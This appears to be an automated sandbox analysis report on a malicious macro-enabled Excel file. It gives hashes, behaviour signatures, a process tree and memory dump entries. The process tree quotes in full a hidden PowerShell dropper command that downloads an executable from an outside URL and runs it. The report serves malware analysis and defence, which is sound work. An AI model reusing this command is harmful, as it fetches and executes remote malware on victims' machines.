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Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 14:18

General

  • Target

    7d44686ad010e6c6a56a9c1762667b7d_JaffaCakes118.xlsm

  • Size

    596KB

  • MD5

    7d44686ad010e6c6a56a9c1762667b7d

  • SHA1

    defcebe402ac31697d3c210f8396fc10b7556cf4

  • SHA256

    81e82ca86ebdac978dffeb26fbea7c54ce708b0346f465316234145f23d75372

  • SHA512

    573f7b05cb08e403ef52a3da5bfa6058f342b5f1bea750df3e3e65a8e271bfeb54520d6a7259fe953d3a40591e142bde69360721c77ec4eb2488f3779d22ea9a

  • SSDEEP

    12288:ZLW+FnvexqD0SoENuJUDcrnGMOAiKe6EbMVLD:ZC+Fn2QDpuJUDcCMOAiEEsD

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://mcma1.com/greatness.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\7d44686ad010e6c6a56a9c1762667b7d_JaffaCakes118.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1756
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://mcma1.com/greatness.exe',$env:Temp+'\newfile.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\newfile.Exe')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2572

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1756-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1756-1-0x00000000721BD000-0x00000000721C8000-memory.dmp

    Filesize

    44KB

  • memory/1756-4-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-3-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-9-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-7-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-6-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-2-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-17-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-16-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-15-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-14-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-12-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-11-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-10-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-8-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-5-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-20-0x00000000721BD000-0x00000000721C8000-memory.dmp

    Filesize

    44KB

  • memory/1756-21-0x0000000000450000-0x0000000000550000-memory.dmp

    Filesize

    1024KB

  • memory/1756-25-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1756-26-0x00000000721BD000-0x00000000721C8000-memory.dmp

    Filesize

    44KB